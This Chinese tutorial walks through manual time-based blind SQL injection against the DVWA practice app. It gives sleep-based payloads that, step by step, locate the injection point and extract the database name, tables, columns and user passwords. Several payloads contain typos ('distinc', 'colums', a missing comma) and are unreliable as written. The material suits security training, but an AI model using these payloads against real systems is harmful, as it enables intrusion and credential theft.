时间盲注手注

基于时间的盲注:

时间的概念:使用特定函数让数据库去执行,通过自己的设定,来查看数据库是否get到我们的请求

函数sleep()设定数据库的延时或者暂停的时间
函数limit 0,1 限制第一个的第一个字符
函数mid 1,1 从第一个字符开始截取,只截取一个
函数benchmark(参数一,参数二),第一是执行多少次,二是某项操作。
if(exp1,exp2,exp3),如果满足exp1,那么执行exp2,否则执行exp3

1、找注入点

通过输入以下两行,根据返回的延迟判断存在字符型注入

1 and sleep(5)#

1’ and sleep(5)#

2、获取信息

当前数据库长度

Select * from dvwa.users where user_id=1 and if(length(database())=1,sleep(5),’bye’);
//通过猜测数据库的长度,如果正确的话,可以看到网页的响应时间会有5秒

获取每个字符

Select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=110,sleep(5),’bye’);
//这里主要是通过从数据库第一个字符开始猜测,将数据库的字符转化为asicc码,如果猜解正确就可以明显的看见网页的相应的时间为五秒

获取数据库中表

Select * from dvwa.users where user_id=1 and if(ascii(mid((select distinc table_name from information_schema.colums where table_schema=database() limit 0,1)1,1))=102,sleep(5),’bye’);
//同上。这里的limit主要的作用是限制输出得是第一个表的第一个字符,mid限制的是从第一个字符开始截取,截取一个字符

猜解第一个表的长度

1’ and if(length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1))=9,sleep(5),1)#
//原理类似上面的,用length来一个个字符的猜解,将字符转换为ascii来进行回显

猜解第二个表的长度

1’ and if(length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1))=5,sleep(5),1)#

找有价值的表,users

4、获取指定表中的字段

Select * from dvwa.users where user_id=1 and if(ascii(mid((select distinc columns_name from information_schema.colums where table_schema=database() and table_name=’users’limit 0,1)1,1))=102,sleep(5),’bye’);

5、获取内容

Select * from dvwa.users where user_id=1 and if(ascii(mid((select concat(admin,0x7e,password)from users limit 0,1)1,1))=102,sleep(5),’bye’);

//if(exp1,exp2,exp3),如果满足exp1,那么执行exp2,否则执行exp3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值